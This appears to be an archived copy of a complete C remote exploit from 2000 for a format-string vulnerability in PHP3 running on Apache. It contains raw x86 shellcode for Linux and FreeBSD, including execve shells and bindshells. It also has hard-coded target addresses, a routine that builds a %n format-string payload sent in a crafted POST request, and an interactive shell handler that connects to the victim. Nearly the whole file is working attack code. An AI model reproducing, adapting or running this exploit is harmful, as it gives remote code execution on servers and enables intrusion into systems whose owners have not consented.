home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / interpreter / php / phploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  20KB  |  738 lines

  1. /* 
  2.  *  Copyright (c) 2000 - Security.is
  3.  * 
  4.  *  Discovered and exploited by portal and tf8 of security.is, June 2000
  5.  *  Published in October, 2000.
  6.  *
  7.  *  Greetings go to:
  8.  *     the rest security.is staff: nop, DiGiT, rash, etc.
  9.  *     stealth; ADM folks (anti#$%, mika!!); and others,
  10.  *     you know who you are. 
  11.  *   
  12.  *  THERE IS NO WARRANTY FOR THIS PROGRAM OF ANY KIND. YOU ARE RESPONSIBLE 
  13.  *  FOR YOUR OWN ACTIONS. THIS IS INTENDED AS A DEMONSTRATION OF THE WEAK-
  14.  *  NESS, NOT A SCRIPTKIDDIE TOOL. THE REASON FOR THE DISCLOSURE IS MAINLY
  15.  *  BECAUSE OF AGE OF THE VULNERABILITY AND THE EXPLOIT, AND THE FACT THAT
  16.  *  ACTUAL SUCCESS IS LIMITED TO THE KNOWLEDGE OF THE USER.
  17.  */
  18.  
  19.  
  20. #include <stdio.h>
  21. #include <stdarg.h>
  22. #include <stdlib.h>
  23. #include <string.h>
  24. #include <unistd.h>
  25. #include <netdb.h>
  26. #include <sys/time.h>
  27. #include <sys/types.h>
  28. #include <sys/socket.h>
  29. #include <netinet/in.h>
  30. #include <arpa/inet.h>
  31. #if !defined(__FreeBSD__)
  32. # include <getopt.h>
  33. #endif
  34.  
  35.  
  36. #define xLITTLE_ENDIAN          1
  37. #define xBIG_ENDIAN             2
  38. #define PERSISTANT              1
  39. #define ESYSLOG                 1
  40. #define EFILE                   2
  41.  
  42. #define COOKIE_SIZE          1000
  43. #define ADDRESS_BUFFER_SIZE   8*4
  44. #define ATTACK_BUFFER_SIZE    500
  45.  
  46.  
  47. struct _platforms
  48. {
  49.    char *version;
  50.    char *description; 
  51.    unsigned long cookie_address;
  52.    unsigned long eip_address;
  53.    int technique;
  54.    int endian;
  55.    int alignment;
  56.    int padding;
  57.    struct _shellcodes *shellcode;
  58. }; 
  59.  
  60.  
  61. struct _shellcodes
  62. {
  63.    char *description;
  64.    int length; /* depreciated */
  65.    char *code;
  66.    char *nop;
  67.    int type;
  68. };
  69.  
  70.  
  71. /* note that the shellcodes may not contain 0x3d '=' */
  72.  
  73. struct _shellcodes shellcodes[] =
  74. {
  75.    {
  76.       "Linux(x86) aleph1's execve shell -> /tmp/la",
  77.       45,
  78.       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
  79.       "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  80.       "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/tmp/la",
  81.       "\x90",
  82.       0
  83.    }, {
  84.       "Linux(x86) dup2 shell",
  85.       77,
  86.       /* alarm(0);fork();dup2(1,0);dup2(2,0);execute /bin/sh;exit(0) */
  87. //      "\xcc"
  88.       "\x31\xc0\x31\xdb\x04\x0b\xcd\x80\x31\xc0\x40\x40\xcd\x80\x85"
  89.       "\xc0\x75\x28\x89\xd9\x31\xc0\x41\x04\x3f\xcd\x80\x31\xc0\x04"
  90.       "\x3f\x41\xeb\x1f\x31\xc0\x5f\x89\x7f\x08\x88\x47\x07\x89\x47"
  91.       "\x0c\x89\xfb\x8d\x4f\x08\x8d\x57\x0c\x04\x0b\xcd\x80\x31\xc0"
  92.       "\x31\xdb\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh",
  93.       "\x90",
  94.       PERSISTANT
  95.    }, {
  96.       "Linux(x86) bindshell on port 3879",
  97.       129,
  98.       "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  99.       "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  100.       "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  101.       "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  102.       "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  103.       "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  104.       "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  105.       "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh",
  106.       "\x90",
  107.       3879
  108.    }, {
  109.       "FreeBSD(x86) bindshell on port XXXX",
  110.       134,
  111.       "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x61\xeb\x7e\x5f\xc6\x47\x08"
  112.       "\x9a\x89\x47\x09\x89\x47\x0d\xc6\x47\x0d\x07\xc6\x47\x0f\xc3\x50"
  113.       "\x53\x6a\x01\x6a\x02\x8d\x4f\x08\xff\xd1\x89\x47\x24\xb0\x68\x50"
  114.       "\x6a\x10\xb3\x02\x66\x89\x5f\x10\xb3\x45\x66\x89\x5f\x12\x89\x57"
  115.       "\x14\x8d\x5f\x10\x53\xff\x77\x24\xff\xd1\xb0\x6a\x50\x6a\x02\xff"
  116.       "\x77\x24\xff\xd1\xb0\x1e\x50\x52\x52\xff\x77\x24\xff\xd1\x89\xc3"
  117.       "\xb0\x5a\x50\x52\x53\xff\xd1\xb0\x5a\x50\x42\x52\x53\xff\xd1\xb0"
  118.       "\x5a\x50\x42\x52\x53\xff\xd1\xb0\x3b\x31\xdb\x50\x88\x5f\x07\x53"
  119.       "\x89\x7f\x10\x8d\x5f\x10\x53\x57\xff\xd1\xe8\x7d\xff\xff\xff/bin/sh",
  120.       "\x90",
  121.       666
  122.    }, {
  123.       "FreeBSD(x86) execve shellcode by mudge@l0pht.com -> /tmp/la",
  124.       67,
  125.       "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  126.       "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  127.       "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  128.       "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/la",
  129.       "\x90",
  130.       0
  131.    }, {
  132.       NULL, 0, NULL, 0
  133.    }
  134. };
  135.  
  136.  
  137. #define LINUX_EXECVE         &shellcodes[0]
  138. #define LINUX_DUP2_SHELLCODE &shellcodes[1]
  139. #define LINUX_BINDSHELL      &shellcodes[2]
  140. #define FREEBSD_BINDSHELL    &shellcodes[3]
  141. #define FREEBSD_EXECVE       &shellcodes[4]
  142.  
  143.  
  144. struct _platforms platforms[] =
  145. {
  146.    {
  147.       "PHP/3.0.16 on Apache 1.3.12, static",
  148.       "Slackware Linux 7.0 glibc (DEVEL)",
  149.       0x0815b34c, 0xbfff9b54, //0xbfff9290,  
  150.       3, xLITTLE_ENDIAN,
  151.       1, 124, /* 124 */
  152.       LINUX_BINDSHELL
  153.    }, {
  154.       "PHP/3.0.12 on Apache 1.3.9, static",
  155.       "Slackware Linux 4.0 libc (DEVEL)",
  156.       0x081688e8, 0xbfff9460,
  157.       3, xLITTLE_ENDIAN,
  158.       1, 116,
  159.       LINUX_BINDSHELL
  160.    }, {  
  161.       "PHP/3.0.12 on Apache 1.3.12, static",
  162.       "Slackware Linux 7.0 glibc (DEVEL)",
  163.       0x0814bc88, 0xbfff931c,
  164.       3, xLITTLE_ENDIAN,
  165.       1, 112,
  166.       LINUX_BINDSHELL
  167.    }, {  
  168.       "PHP/3.0.15 on Apache/1.3.12, static",
  169.       "FreeBSD 3.4-STABLE with package apache+php-1.3.12+3.0.15.tgz",
  170.       /* -rwxr-xr-x  1 root  wheel  748095 25     20:28    /usr/local/sbin/apache */
  171.       /* /usr/local/sbin/apache: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked, not stripped */
  172.       0x81250e0, 0xbfbf7260, 3, xLITTLE_ENDIAN, 1, 112,
  173.       FREEBSD_EXECVE
  174.    }, {
  175.       NULL, NULL, 0L, 0L, 0, 0, 0, 0, NULL
  176.    }
  177. };  
  178.  
  179.  
  180. char shellcode_buffer[COOKIE_SIZE+1];
  181. char attack_buffer[ATTACK_BUFFER_SIZE+1];
  182. char pad_buffer[256];
  183. char prepend_buffer[256];
  184. char append_buffer[256];
  185. struct in_addr ina;
  186. int debug_mode = 0;
  187. int emethod = 0;
  188. int sock = -1;
  189.  
  190.  
  191. int failure(char *format, ...)
  192. {
  193.    va_list va;
  194.  
  195.    fprintf (stderr, "  [-]: ");
  196.    
  197.    va_start (va, format);
  198.    vfprintf (stderr, format, va);
  199.    va_end (va);
  200.  
  201.    fprintf (stderr, "\n");
  202.    fflush (stderr);
  203.    
  204.    exit(-1);
  205. }
  206.  
  207.  
  208. #undef DEBUG
  209.  
  210.  
  211. void technique_3(u_long eip_addr, u_long shellcode_addr, u_int previous)
  212. {
  213.    int i;
  214.    unsigned int tmp = 0;
  215.    unsigned int copied = previous;
  216.    unsigned int num[4] = 
  217.    { 
  218.       (unsigned int) (shellcode_addr & 0x000000ff),
  219.       (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
  220.       (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
  221.       (unsigned int)((shellcode_addr & 0xff000000) >> 24)
  222.    };
  223.    
  224.    memset (prepend_buffer, '\0', sizeof(prepend_buffer));
  225.    memset (append_buffer, '\0', sizeof(append_buffer));
  226.    
  227.    for (i = 0; i < 4; i++)
  228.    {
  229.       while (copied > 0x100)
  230.          copied -= 0x100;
  231.       
  232. #ifdef DEBUG   
  233.       if (debug_mode)
  234.          printf ("[#]  num[%d] = %d (0x%02x), copied: %d\n", i, num[i], num[i], copied);
  235. #endif         
  236.  
  237.       if ( (i > 0) && (num[i-1] == num[i]) ) /* copied == num[i], no change */
  238.       {
  239.          strcat (append_buffer, "%n");
  240. #ifdef DEBUG
  241.          if (debug_mode)
  242.             printf ("  [+]  num[%d] == num[%d-1], appending \"%%n\"\n", i, i);
  243. #endif
  244.       } else if (copied < num[i])
  245.       {
  246.          if ( (num[i] - copied) <= 10)
  247.          {
  248. #ifdef DEBUG
  249.             if (debug_mode)
  250.                printf ("  [+]  num[%d] > %d: %d bytes, skipping use of %%.u\n", i, copied, (num[i] - copied));
  251. #endif
  252.             sprintf (append_buffer+strlen(append_buffer), "%.*s", (int)(num[i] - copied), "PORTALPORTAL");
  253.             copied += (num[i] - copied);
  254.             strcat (append_buffer, "%n");
  255.          } else {
  256. #ifdef DEBUG
  257.             if (debug_mode)
  258.                printf ("  [+]  num[%d] > %d: %d bytes, using %%.u\n", i, copied, (num[i] - copied));
  259. #endif
  260.             sprintf (append_buffer+strlen(append_buffer), "%%.%du", num[i] - copied);
  261.             copied += (num[i] - copied);
  262.             strcat (append_buffer, "%n");
  263.             strcat (prepend_buffer, "AAAA"); /* dummy */
  264.          }
  265.          
  266.       } else //if (copied > num[i])
  267.       {
  268. #ifdef DEBUG
  269.          if (debug_mode)
  270.             printf ("  [+]  num[%d] < %d: %d bytes, increasing\n", i, copied, (copied - num[i]));
  271. #endif
  272.          tmp = ((num[i] + 0xff) - copied);
  273.          sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
  274.          copied += ((num[i] + 0xff) - copied);
  275.          strcat (append_buffer, "%n");
  276.          strcat (prepend_buffer, "AAAA");
  277.       }
  278.       sprintf (prepend_buffer+strlen(prepend_buffer), "%c%c%c%c",
  279.          (unsigned char) ((eip_addr+i) & 0x000000ff),
  280.          (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
  281.          (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
  282.          (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
  283.    }
  284.  
  285.    while (strlen(prepend_buffer) < ADDRESS_BUFFER_SIZE)
  286.       strcat (prepend_buffer, "X");
  287.  
  288.    if (debug_mode)
  289.    {
  290.       printf ("\nGeneration complete:\nPrepend: ");
  291.       for (i = 0; i < strlen(prepend_buffer); i++)
  292.       {
  293.          if ( ((i % 4) == 0) && (i > 0) )
  294.             printf (".");
  295.          printf ("%02x", (unsigned char)prepend_buffer[i]);
  296.       }
  297.       printf ("\nAppend: %s\n", append_buffer);
  298.    }
  299.  
  300.    return;   
  301. }
  302.  
  303.  
  304. void preparation(struct _platforms *pf)
  305. {
  306.    int written_bytes = 0;
  307.    int i;
  308.    
  309.    /* phase 1: put our nops and the shellcode in huge buffer */
  310.  
  311.    memset (shellcode_buffer, '\0', sizeof(shellcode_buffer));
  312.    for (i = 0; i < COOKIE_SIZE - pf->shellcode->length; )
  313.    {
  314.       memcpy (&shellcode_buffer[i], pf->shellcode->nop, strlen(pf->shellcode->nop));
  315.       i += strlen(pf->shellcode->nop);
  316.    }
  317.    memcpy (&shellcode_buffer[COOKIE_SIZE - pf->shellcode->length],
  318.       pf->shellcode->code, pf->shellcode->length+1);
  319.    
  320.    /* phase 2: start filling in our attack buffer */
  321.  
  322.    memset (attack_buffer, '\0', sizeof(attack_buffer));
  323.    strcpy (attack_buffer, "Content-Type: multipart/form-data; ");
  324.    for (i = 0; i < pf->alignment; i++)
  325.       strcat (attack_buffer, "Z");
  326.    
  327.    written_bytes = strlen("The Content-Type string was: \"multipart/form-data; ");
  328.    written_bytes += pf->alignment;
  329. /*
  330.    switch (emethod)
  331.    {
  332.       case EFILE:
  333.          written_bytes += 0;
  334.          break;
  335.  
  336.       case ESYSLOG:
  337.          written_bytes += 47;
  338.          break;
  339.    }
  340. */
  341.    written_bytes += 47;
  342.  
  343.    /* phase 3: set up the correct padding */
  344.  
  345.    memset (pad_buffer, '\0', sizeof(pad_buffer));
  346.    i = pf->padding;
  347.  
  348.    while (i >= 4)
  349.    {
  350. /*
  351.       strcpy (pad_buffer+strlen(pad_buffer), "%20.0f");
  352.       written_bytes += 20;
  353.       i -= 8;
  354. */
  355.       strcat (pad_buffer, "%c");
  356.       written_bytes += 1;
  357.       i -= 4;
  358.    }
  359.  
  360. //   written_bytes += ADDRESS_BUFFER_SIZE;
  361.    
  362.    /* phase 4: set up the address and impact buffers */
  363.  
  364.    switch (pf->technique)
  365.    {
  366.        case 1:
  367.           /* bgennum() */
  368.        case 2:
  369.           /* tgennum() */
  370.        case 3:
  371.           technique_3 (pf->eip_address, pf->cookie_address, written_bytes);
  372.           break;
  373.  
  374.        default:
  375.           failure ("Unrecognized technique: \"%d\".\n", pf->technique);
  376.           break; /* never reached */
  377.    }
  378.  
  379.    /* phase 5: assemble the attack_buffer */
  380.  
  381.    strcat (attack_buffer, prepend_buffer);
  382.    strcat (attack_buffer, pad_buffer);
  383.    strcat (attack_buffer, append_buffer);
  384.  
  385.    while (strlen(attack_buffer) < ATTACK_BUFFER_SIZE)
  386.       strcat (attack_buffer, ".");
  387.  
  388.    if (debug_mode)
  389.    {
  390.       printf ("  [$] Attack buffer is:\n");
  391.       for (i = 0; i < strlen(attack_buffer); i++)
  392.          printf ("%02x  ", (unsigned char)attack_buffer[i]);
  393.       printf ("\n  [$] That is,\n");
  394.       for (i = 0; i < strlen(attack_buffer); i++)
  395.          printf ("%c", (unsigned char)attack_buffer[i]);
  396.       printf ("\n");
  397.    }
  398.  
  399.    return;
  400. }
  401.  
  402.  
  403. struct in_addr *hostname_resolve(char *hostname, int show)
  404. {
  405.    struct hostent *he = NULL;
  406.  
  407.    if ( (inet_aton(hostname, &ina)) == 0)
  408.    {
  409.       if ( (he = gethostbyname(hostname)) == NULL)
  410.          failure ("Unable to resolve %s.\n", hostname);
  411.  
  412.       memcpy (&ina, he->h_addr, he->h_length);
  413.       if (show)
  414.          printf ("  [+] Resolved %s to %s.\n", hostname, inet_ntoa(ina));
  415.    }
  416.  
  417.    return (&ina);
  418. }
  419.  
  420.  
  421. int do_connect(char *hostname, int port, int do_resolve)
  422. {
  423.    struct sockaddr_in sin;
  424.    struct in_addr *in;
  425.    int sockie = -1;
  426.  
  427.    in = hostname_resolve(hostname, do_resolve);
  428.    
  429.    if ( (sockie = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  430.       failure ("Unable to get a socket.\n");
  431.  
  432.    memset (&sin, '\0', sizeof(struct sockaddr_in));
  433.  
  434.    sin.sin_family      = PF_INET;
  435.    sin.sin_port        = htons(port);
  436.    sin.sin_addr.s_addr = in->s_addr;
  437.    
  438.    if ( (connect (sockie, (struct sockaddr *)&sin, sizeof(struct sockaddr))) < 0)
  439.       failure ("Unable to connect to %s:%d.\n", hostname, port);
  440.  
  441.    return (sockie);
  442. }
  443.  
  444.  
  445. /* FIX ME, let this only read one byte at a time, and stop on newlines! */
  446.  
  447.  
  448. int receive(char *buffer, size_t size)
  449. {
  450.    struct timeval tv;
  451.    fd_set fds;
  452.    int i = -1;
  453.    
  454.    tv.tv_sec  = 5;
  455.    tv.tv_usec = 0;
  456.  
  457.    FD_ZERO (&fds);
  458.    FD_SET  (sock, &fds);
  459.    
  460.    i = select(sock+1, &fds, NULL, NULL, &tv);
  461.    
  462.    if (i < 0)
  463.       return (-1);
  464.    
  465.    if (!FD_ISSET(sock, &fds))
  466.       return (-2);
  467.    
  468.    (void)read (sock, buffer, size);
  469.    
  470.    return (0);
  471. }
  472.  
  473.  
  474. int transmit(char *format, ...)
  475. {
  476.    char buffer[8192];
  477.    struct timeval tv;
  478.    fd_set fds;
  479.    va_list va;
  480.    int i = -1;
  481.    
  482.    tv.tv_sec  = 5;
  483.    tv.tv_usec = 0;
  484.  
  485.    FD_ZERO (&fds);
  486.    FD_SET  (sock, &fds);
  487.    
  488.    i = select(sock+1, NULL, &fds, NULL, &tv);
  489.    
  490.    if (i < 0)
  491.       return (-1);
  492.    
  493.    if (!FD_ISSET(sock, &fds))
  494.       return (-2);
  495.    
  496.    memset (buffer, '\0', sizeof(buffer));
  497.    
  498.    va_start (va, format);
  499.    vsnprintf (buffer, sizeof(buffer)-1, format, va);
  500.    va_end (va);
  501.    
  502.    (void)write (sock, buffer, strlen(buffer));
  503.    
  504.    return (0);
  505. }
  506.  
  507.  
  508. void usage(char *program_name)
  509. {
  510.    int i;
  511.  
  512.    printf ("                       PHP3 REMOTE EXPLOIT - June 2000\n");
  513.    
  514.    printf ("%s <victim> <-s systype> <-f script> <-m ...> [options]\n", program_name);
  515.    printf ("   -s: Remote system type (must precede other arguments).\n");
  516.    printf ("   -f: A PHP3 script on the remote server (e.g. / or /index.php3.\n");
  517.    printf ("   -m: Method ('syslog' or 'file')\n");
  518.    printf ("   -P: Port to use (default 80, of course).\n");
  519.    printf ("   -C: Perform a version check on the remote host.\n");
  520.    printf ("   -P: Alter the number of bytes needed for padding.\n");
  521.    printf ("   -S: Change the shellcode to be used.\n");
  522.    printf ("   -r: Specify the EIP address.\n");
  523.    printf ("   -R: Change the address of the shellcode.\n");
  524.    printf ("   -d: Toggle debug-mode.\n");
  525.    printf ("Available system types:\n");
  526.  
  527.    for (i = 0; platforms[i].version != NULL; i++)
  528.       printf ("   %d:  %s; %s\n", i, platforms[i].version, platforms[i].description);
  529.  
  530.    printf ("Available shellcodes:\n");
  531.    for (i = 0; shellcodes[i].description != NULL; i++)      
  532.       printf ("   %d:  %s\n", i, shellcodes[i].description);
  533.  
  534.    exit (0);
  535. }
  536.  
  537.  
  538. void bindshell(int rsock)
  539. {
  540.    char buf[4096];
  541.    fd_set fds;
  542.    struct timeval tv;
  543.    int i, r;
  544.  
  545.    printf ("  [+] Running bindshell:\n");
  546.  
  547.    while (1)
  548.    {
  549.       FD_ZERO (&fds);
  550.       FD_SET  (0, &fds); /* stdin */
  551.       FD_SET  (rsock, &fds);
  552.       tv.tv_sec  = 1;
  553.       tv.tv_usec = 0;
  554.  
  555.       i = select (rsock+1, &fds, NULL, NULL, &tv);
  556.  
  557.       if (i < 0)
  558.       {
  559.          close (rsock);
  560.          failure ("Select() returned an error.\n");  
  561.       }
  562.  
  563.       if (i == 0) /* no change */
  564.          continue;
  565.  
  566.       if (FD_ISSET (0, &fds))
  567.       {
  568.          memset (buf, '\0', sizeof(buf));
  569.          i = read(0, buf, sizeof(buf)-1);
  570.  
  571.          if (i < 0)
  572.             failure ("What the heck happened to your computer?\n");
  573.  
  574.          if (i > 0)
  575.          {
  576.             r = write (rsock, buf, i);
  577.             if (r < 0)
  578.             {
  579.                close (rsock);
  580.                failure ("Unable to transmit data, connection terminated.\n");
  581.             }
  582.          }
  583.       }
  584.  
  585.       if (FD_ISSET (rsock, &fds))
  586.       {
  587.          memset (buf, '\0', sizeof(buf));
  588.          i = read(rsock, buf, sizeof(buf)-1);
  589.  
  590.          if (i <= 0)
  591.          {
  592.             close (rsock);
  593.             failure ("The connection was terminated.\n");
  594.          }
  595.  
  596.          printf ("%s", buf);
  597.       }
  598.    }
  599.  
  600.    return; /* never reached */
  601. }
  602.  
  603.  
  604. int main(int argc, char **argv)
  605. {
  606.    char *program_name = argv[0];
  607.    char *victim = NULL;
  608.    char *script = NULL;
  609.    int do_version_check = 0;
  610.    int systype = -1;
  611.    int version = 0;
  612.    int port = 80;
  613.    int c;
  614.    
  615.    if (argc < 2)
  616.       usage(argv[0]);
  617.       
  618.    victim = (char *)strdup(argv[1]);
  619.    if (victim == NULL)
  620.       failure ("Memory allocation failed.\n");
  621.  
  622.    argv++; argc--;
  623.    
  624.    while ( (c = getopt(argc, argv, "p:P:s:S:r:R:C:f:m:hd")) != EOF)
  625.    {
  626.       switch (c)
  627.       {
  628.          case 'P':
  629.             port = atoi(optarg);
  630.             break;
  631.     
  632.          case 's':
  633.             systype = atoi(optarg);
  634.             if (systype > 3)
  635.                usage(program_name);
  636.             break;
  637.             
  638.          case 'S':
  639.             if (systype >= 0)
  640.                platforms[systype].shellcode = &shellcodes[atoi(optarg)];
  641.             else
  642.                printf ("  [-] Warning: S argument ignored because systype has not been selected.\n");
  643.             break;
  644.  
  645.          case 'C':
  646.             do_version_check = 0;
  647.             break;
  648.  
  649.          case 'd':
  650.             debug_mode = !debug_mode;
  651.             break;
  652.             
  653.          case 'f':
  654.             script = (char *)strdup(optarg);
  655.             if (script == NULL)
  656.                failure ("Buy more RAM!\n");
  657.             break;
  658.  
  659.          case 'm':
  660.             if (!strcasecmp (optarg, "syslog"))
  661.                emethod = ESYSLOG;
  662.             else if (!strcasecmp (optarg, "file"))
  663.                emethod = EFILE;
  664.             else
  665.                failure ("Known methods are: 'syslog' and 'file'.\n");
  666.             break;
  667.  
  668.          case 'p':
  669.             if (systype >= 0)
  670.                platforms[systype].padding = atoi(optarg);
  671.             else
  672.                printf ("  [-] Warning: -p argument ignored because systype has not been selected.\n");
  673.             break;
  674.  
  675.          case 'r':
  676.             if (systype >= 0)
  677.                platforms[systype].eip_address = strtoul(optarg, &optarg, 16);
  678.             else
  679.                printf ("  [-] Warning: -r argument ignored because systype has not been selected.\n");
  680.             break;
  681.  
  682.          case 'R':
  683.             if (systype >= 0)
  684.                platforms[systype].cookie_address = strtoul(optarg, &optarg, 16);
  685.             else
  686.                printf ("  [-] Warning: -R argument ignored because systype has not been selected.\n");
  687.             break;
  688.  
  689.          default:
  690.             usage(program_name);
  691.             break; /* not reached */
  692.       }     
  693.    }
  694.  
  695.    if ( (systype < 0) || (script == NULL) || (emethod == 0) )
  696.       usage(program_name);
  697.  
  698.    printf ("  [+] Attacking: %s:%d.\n", victim, port);
  699.    printf ("  [+] System type: %s: %s.\n", platforms[systype].version,
  700.       platforms[systype].description);
  701.    printf ("  [+] Shellcode: %s\n", platforms[systype].shellcode->description);
  702.    printf ("  [+] EIP address:       %#08lx\n", platforms[systype].eip_address);
  703.    printf ("  [+] Shellcode address: %#08lx\n", platforms[systype].cookie_address);
  704.    
  705.    sock = do_connect(victim, port, 1);
  706.    
  707.    preparation((struct _platforms *)&platforms[systype]);
  708.  
  709.    transmit ("POST %s?STRENGUR HTTP/1.0\n", script);
  710.    transmit ("Cookie: %s\n", shellcode_buffer);
  711.    transmit ("Host: localhost\n");
  712.    transmit ("%s\n", attack_buffer);
  713.    transmit ("Content-Length: 1337\n\n");
  714.    transmit ("too bad, dude. too bad.\n\n");
  715.  
  716.    switch (platforms[systype].shellcode->type)
  717.    {
  718.       case 0:
  719.          break;
  720.  
  721.       case PERSISTANT:
  722.          bindshell (sock);
  723.          break;
  724.  
  725.       default:
  726.          close (sock);
  727.  
  728.          sock = do_connect (victim, platforms[systype].shellcode->type, 0);
  729.          bindshell (sock);
  730.  
  731.          break;
  732.    }
  733.  
  734.    close (sock);
  735.  
  736.    return (0);
  737. }
  738. /*                   www.hack.co.za     [12 October 2000]*/